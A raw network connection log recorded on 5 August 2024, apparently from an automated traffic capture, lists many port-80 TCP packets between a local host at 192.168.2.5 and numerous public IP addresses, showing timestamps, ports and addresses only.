Aug 5, 2024 11:59:25.578185081 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578195095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578203917 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578212023 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578214884 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578222036 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578232050 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578241110 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:25.578243017 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578257084 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:25.578285933 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030328989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030360937 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030380964 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030400038 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030409098 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030412912 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030424118 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030436039 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030447960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030453920 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030461073 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030472040 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030477047 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030484915 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030497074 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030505896 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030517101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030520916 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030531883 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030570030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030586004 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030597925 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030608892 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030608892 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030622005 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030635118 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030639887 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030647039 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030654907 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030658960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030687094 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030714989 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030725956 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030736923 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030746937 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030761957 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030775070 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030786991 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030788898 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030797958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030811071 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030814886 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030822992 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030827999 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030859947 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030864000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030878067 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030888081 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030900002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030908108 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030913115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030922890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.030941963 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.030956984 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.031260014 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.033389091 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.033433914 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:26.037034035 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:26.037092924 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:29.657752991 CEST	49742	80	192.168.2.5	47.88.198.68
Aug 5, 2024 11:59:29.662643909 CEST	80	49742	47.88.198.68	192.168.2.5
Aug 5, 2024 11:59:29.662712097 CEST	49742	80	192.168.2.5	47.88.198.68
Aug 5, 2024 11:59:29.662838936 CEST	49742	80	192.168.2.5	47.88.198.68
Aug 5, 2024 11:59:29.667567968 CEST	80	49742	47.88.198.68	192.168.2.5
Aug 5, 2024 11:59:29.813819885 CEST	49743	80	192.168.2.5	103.102.202.106
Aug 5, 2024 11:59:29.818629980 CEST	80	49743	103.102.202.106	192.168.2.5
Aug 5, 2024 11:59:29.818718910 CEST	49743	80	192.168.2.5	103.102.202.106
Aug 5, 2024 11:59:29.819061995 CEST	49743	80	192.168.2.5	103.102.202.106
Aug 5, 2024 11:59:29.823847055 CEST	80	49743	103.102.202.106	192.168.2.5
Aug 5, 2024 11:59:29.847563982 CEST	49744	80	192.168.2.5	123.125.23.221
Aug 5, 2024 11:59:29.852374077 CEST	80	49744	123.125.23.221	192.168.2.5
Aug 5, 2024 11:59:29.852538109 CEST	49744	80	192.168.2.5	123.125.23.221
Aug 5, 2024 11:59:29.852729082 CEST	49744	80	192.168.2.5	123.125.23.221
Aug 5, 2024 11:59:29.857474089 CEST	80	49744	123.125.23.221	192.168.2.5
Aug 5, 2024 11:59:30.030036926 CEST	49745	80	192.168.2.5	163.181.130.189
Aug 5, 2024 11:59:30.034888029 CEST	80	49745	163.181.130.189	192.168.2.5
Aug 5, 2024 11:59:30.035043001 CEST	49745	80	192.168.2.5	163.181.130.189
Aug 5, 2024 11:59:30.035367966 CEST	49745	80	192.168.2.5	163.181.130.189
Aug 5, 2024 11:59:30.042000055 CEST	80	49745	163.181.130.189	192.168.2.5
Aug 5, 2024 11:59:30.224739075 CEST	49747	80	192.168.2.5	43.132.73.61
Aug 5, 2024 11:59:30.229602098 CEST	80	49747	43.132.73.61	192.168.2.5
Aug 5, 2024 11:59:30.229692936 CEST	49747	80	192.168.2.5	43.132.73.61
Aug 5, 2024 11:59:30.229871988 CEST	49747	80	192.168.2.5	43.132.73.61
Aug 5, 2024 11:59:30.235080004 CEST	80	49747	43.132.73.61	192.168.2.5
Aug 5, 2024 11:59:30.247447014 CEST	49748	80	192.168.2.5	119.28.109.132
Aug 5, 2024 11:59:30.249887943 CEST	49749	80	192.168.2.5	103.235.46.96
Aug 5, 2024 11:59:30.252494097 CEST	80	49748	119.28.109.132	192.168.2.5
Aug 5, 2024 11:59:30.252594948 CEST	49748	80	192.168.2.5	119.28.109.132
Aug 5, 2024 11:59:30.252803087 CEST	49748	80	192.168.2.5	119.28.109.132
Aug 5, 2024 11:59:30.254739046 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:30.254811049 CEST	49749	80	192.168.2.5	103.235.46.96
Aug 5, 2024 11:59:30.254924059 CEST	49749	80	192.168.2.5	103.235.46.96
Aug 5, 2024 11:59:30.257782936 CEST	80	49748	119.28.109.132	192.168.2.5
Aug 5, 2024 11:59:30.258086920 CEST	49750	80	192.168.2.5	43.159.70.125
Aug 5, 2024 11:59:30.259768009 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:30.263487101 CEST	80	49750	43.159.70.125	192.168.2.5
Aug 5, 2024 11:59:30.263562918 CEST	49750	80	192.168.2.5	43.159.70.125
Aug 5, 2024 11:59:30.263690948 CEST	49750	80	192.168.2.5	43.159.70.125
Aug 5, 2024 11:59:30.268632889 CEST	80	49750	43.159.70.125	192.168.2.5
Aug 5, 2024 11:59:30.280045986 CEST	49751	80	192.168.2.5	163.181.201.231
Aug 5, 2024 11:59:30.284888029 CEST	80	49751	163.181.201.231	192.168.2.5
Aug 5, 2024 11:59:30.285001040 CEST	49751	80	192.168.2.5	163.181.201.231
Aug 5, 2024 11:59:30.285146952 CEST	49751	80	192.168.2.5	163.181.201.231
Aug 5, 2024 11:59:30.292520046 CEST	80	49751	163.181.201.231	192.168.2.5
Aug 5, 2024 11:59:30.343879938 CEST	49752	80	192.168.2.5	104.192.110.226
Aug 5, 2024 11:59:30.348733902 CEST	80	49752	104.192.110.226	192.168.2.5
Aug 5, 2024 11:59:30.348814964 CEST	49752	80	192.168.2.5	104.192.110.226
Aug 5, 2024 11:59:30.348925114 CEST	49752	80	192.168.2.5	104.192.110.226
Aug 5, 2024 11:59:30.355026007 CEST	80	49752	104.192.110.226	192.168.2.5
Aug 5, 2024 11:59:30.386159897 CEST	49753	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:30.391072035 CEST	80	49753	163.171.132.119	192.168.2.5
Aug 5, 2024 11:59:30.391150951 CEST	49753	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:30.391318083 CEST	49753	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:30.397072077 CEST	80	49753	163.171.132.119	192.168.2.5
Aug 5, 2024 11:59:30.555748940 CEST	49754	80	192.168.2.5	49.51.65.181
Aug 5, 2024 11:59:30.560590982 CEST	80	49754	49.51.65.181	192.168.2.5
Aug 5, 2024 11:59:30.563723087 CEST	49754	80	192.168.2.5	49.51.65.181
Aug 5, 2024 11:59:30.566545963 CEST	49754	80	192.168.2.5	49.51.65.181
Aug 5, 2024 11:59:30.572149038 CEST	80	49754	49.51.65.181	192.168.2.5
Aug 5, 2024 11:59:30.583677053 CEST	80	49742	47.88.198.68	192.168.2.5
Aug 5, 2024 11:59:30.591463089 CEST	49742	80	192.168.2.5	47.88.198.68
Aug 5, 2024 11:59:30.593600035 CEST	49755	80	192.168.2.5	163.181.130.181
Aug 5, 2024 11:59:30.598839998 CEST	80	49755	163.181.130.181	192.168.2.5
Aug 5, 2024 11:59:30.599730015 CEST	49755	80	192.168.2.5	163.181.130.181
Aug 5, 2024 11:59:30.599936008 CEST	49755	80	192.168.2.5	163.181.130.181
Aug 5, 2024 11:59:30.604887962 CEST	80	49755	163.181.130.181	192.168.2.5
Aug 5, 2024 11:59:30.655240059 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:30.660140038 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:30.660305977 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:30.660584927 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:30.665765047 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:30.684051037 CEST	80	49745	163.181.130.189	192.168.2.5
Aug 5, 2024 11:59:30.688931942 CEST	49745	80	192.168.2.5	163.181.130.189
Aug 5, 2024 11:59:30.736273050 CEST	80	49744	123.125.23.221	192.168.2.5
Aug 5, 2024 11:59:30.739110947 CEST	49744	80	192.168.2.5	123.125.23.221
Aug 5, 2024 11:59:30.751140118 CEST	49757	80	192.168.2.5	113.219.142.35
Aug 5, 2024 11:59:30.755975008 CEST	80	49757	113.219.142.35	192.168.2.5
Aug 5, 2024 11:59:30.758125067 CEST	49757	80	192.168.2.5	113.219.142.35
Aug 5, 2024 11:59:30.758318901 CEST	49757	80	192.168.2.5	113.219.142.35
Aug 5, 2024 11:59:30.763129950 CEST	80	49757	113.219.142.35	192.168.2.5
Aug 5, 2024 11:59:30.776026964 CEST	49758	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:30.780827999 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:30.780917883 CEST	49758	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:30.781056881 CEST	49758	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:30.786374092 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:30.811037064 CEST	49759	80	192.168.2.5	111.124.200.101
Aug 5, 2024 11:59:30.815897942 CEST	80	49759	111.124.200.101	192.168.2.5
Aug 5, 2024 11:59:30.815992117 CEST	49759	80	192.168.2.5	111.124.200.101
Aug 5, 2024 11:59:30.816155910 CEST	49759	80	192.168.2.5	111.124.200.101
Aug 5, 2024 11:59:30.821238041 CEST	80	49759	111.124.200.101	192.168.2.5
Aug 5, 2024 11:59:30.845057964 CEST	49760	80	192.168.2.5	47.94.225.221
Aug 5, 2024 11:59:30.850922108 CEST	80	49760	47.94.225.221	192.168.2.5
Aug 5, 2024 11:59:30.851744890 CEST	49760	80	192.168.2.5	47.94.225.221
Aug 5, 2024 11:59:30.851931095 CEST	49760	80	192.168.2.5	47.94.225.221
Aug 5, 2024 11:59:30.858305931 CEST	80	49760	47.94.225.221	192.168.2.5
Aug 5, 2024 11:59:30.996370077 CEST	49761	80	192.168.2.5	161.117.242.89
Aug 5, 2024 11:59:31.002160072 CEST	80	49761	161.117.242.89	192.168.2.5
Aug 5, 2024 11:59:31.005151033 CEST	49761	80	192.168.2.5	161.117.242.89
Aug 5, 2024 11:59:31.005347967 CEST	49761	80	192.168.2.5	161.117.242.89
Aug 5, 2024 11:59:31.010142088 CEST	80	49761	161.117.242.89	192.168.2.5
Aug 5, 2024 11:59:31.026515007 CEST	80	49753	163.171.132.119	192.168.2.5
Aug 5, 2024 11:59:31.032466888 CEST	49753	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:31.037677050 CEST	80	49753	163.171.132.119	192.168.2.5
Aug 5, 2024 11:59:31.037740946 CEST	49753	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:31.157465935 CEST	80	49754	49.51.65.181	192.168.2.5
Aug 5, 2024 11:59:31.160103083 CEST	49754	80	192.168.2.5	49.51.65.181
Aug 5, 2024 11:59:31.173038960 CEST	80	49750	43.159.70.125	192.168.2.5
Aug 5, 2024 11:59:31.176064014 CEST	49750	80	192.168.2.5	43.159.70.125
Aug 5, 2024 11:59:31.181636095 CEST	80	49750	43.159.70.125	192.168.2.5
Aug 5, 2024 11:59:31.181730032 CEST	49750	80	192.168.2.5	43.159.70.125
Aug 5, 2024 11:59:31.199671030 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199698925 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199712038 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199722052 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199733973 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199744940 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199757099 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199767113 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199778080 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199790955 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.199811935 CEST	49749	80	192.168.2.5	103.235.46.96
Aug 5, 2024 11:59:31.199852943 CEST	49749	80	192.168.2.5	103.235.46.96
Aug 5, 2024 11:59:31.201139927 CEST	80	49747	43.132.73.61	192.168.2.5
Aug 5, 2024 11:59:31.204741955 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.204754114 CEST	80	49749	103.235.46.96	192.168.2.5
Aug 5, 2024 11:59:31.204807043 CEST	49749	80	192.168.2.5	103.235.46.96
Aug 5, 2024 11:59:31.210792065 CEST	49747	80	192.168.2.5	43.132.73.61
Aug 5, 2024 11:59:31.219516039 CEST	49749	80	192.168.2.5	103.235.46.96
Aug 5, 2024 11:59:31.226146936 CEST	80	49751	163.181.201.231	192.168.2.5
Aug 5, 2024 11:59:31.232363939 CEST	49751	80	192.168.2.5	163.181.201.231
Aug 5, 2024 11:59:31.240050077 CEST	80	49755	163.181.130.181	192.168.2.5
Aug 5, 2024 11:59:31.243243933 CEST	49755	80	192.168.2.5	163.181.130.181
Aug 5, 2024 11:59:31.341622114 CEST	80	49748	119.28.109.132	192.168.2.5
Aug 5, 2024 11:59:31.350697994 CEST	49748	80	192.168.2.5	119.28.109.132
Aug 5, 2024 11:59:31.827152014 CEST	80	49760	47.94.225.221	192.168.2.5
Aug 5, 2024 11:59:31.830949068 CEST	49760	80	192.168.2.5	47.94.225.221
Aug 5, 2024 11:59:31.872489929 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872513056 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872524977 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872536898 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872550011 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872586012 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872632027 CEST	49758	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:31.872745037 CEST	49758	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:31.872920036 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872931957 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872942924 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872956991 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.872977018 CEST	49758	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:31.873025894 CEST	49758	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:31.877646923 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.877660990 CEST	80	49758	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:31.877711058 CEST	49758	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:31.878185987 CEST	49758	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:32.132812977 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.132903099 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.132941008 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.132958889 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:32.132975101 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.133009911 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.133033991 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:32.133043051 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.133075953 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.133094072 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:32.133107901 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.133141041 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.133157969 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:32.133176088 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.133227110 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:32.138158083 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.138200045 CEST	80	49756	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:32.138247967 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:32.142039061 CEST	49756	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:32.202020884 CEST	80	49761	161.117.242.89	192.168.2.5
Aug 5, 2024 11:59:32.202063084 CEST	80	49761	161.117.242.89	192.168.2.5
Aug 5, 2024 11:59:32.202120066 CEST	49761	80	192.168.2.5	161.117.242.89
Aug 5, 2024 11:59:32.209548950 CEST	49761	80	192.168.2.5	161.117.242.89
Aug 5, 2024 11:59:32.215631008 CEST	80	49761	161.117.242.89	192.168.2.5
Aug 5, 2024 11:59:32.215703964 CEST	49761	80	192.168.2.5	161.117.242.89
Aug 5, 2024 11:59:32.448380947 CEST	80	49759	111.124.200.101	192.168.2.5
Aug 5, 2024 11:59:32.453198910 CEST	49759	80	192.168.2.5	111.124.200.101
Aug 5, 2024 11:59:32.866947889 CEST	80	49752	104.192.110.226	192.168.2.5
Aug 5, 2024 11:59:32.870214939 CEST	49752	80	192.168.2.5	104.192.110.226
Aug 5, 2024 11:59:32.882150888 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:32.887916088 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:32.887994051 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:32.888143063 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:32.892930031 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:33.226008892 CEST	80	49743	103.102.202.106	192.168.2.5
Aug 5, 2024 11:59:33.227734089 CEST	49743	80	192.168.2.5	103.102.202.106
Aug 5, 2024 11:59:33.227926970 CEST	49743	80	192.168.2.5	103.102.202.106
Aug 5, 2024 11:59:33.232779026 CEST	80	49743	103.102.202.106	192.168.2.5
Aug 5, 2024 11:59:34.451323986 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451337099 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451348066 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451375008 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451386929 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451396942 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451411009 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.451425076 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451437950 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451447010 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.451457977 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451471090 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451486111 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451491117 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.451509953 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.451685905 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.451734066 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.680883884 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.680911064 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.680932045 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.680948019 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.680973053 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.680994034 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.681001902 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.681021929 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.681046009 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.681062937 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.681072950 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.681102037 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.681803942 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.681849957 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.681865931 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.681888103 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.681896925 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.681907892 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.681935072 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.682265997 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.682322025 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.682356119 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.683270931 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.683339119 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.683351040 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.683367014 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.683412075 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.685972929 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.686023951 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.686073065 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.686142921 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.686223030 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.686273098 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.686439991 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.686522007 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.686575890 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.687236071 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.687263012 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.687278986 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.687304020 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.687310934 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.687344074 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.687508106 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.687613010 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.687669039 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.687838078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.687942028 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.687990904 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:34.688234091 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.688257933 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:34.688299894 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:35.032849073 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:35.032919884 CEST	80	49762	27.221.16.179	192.168.2.5
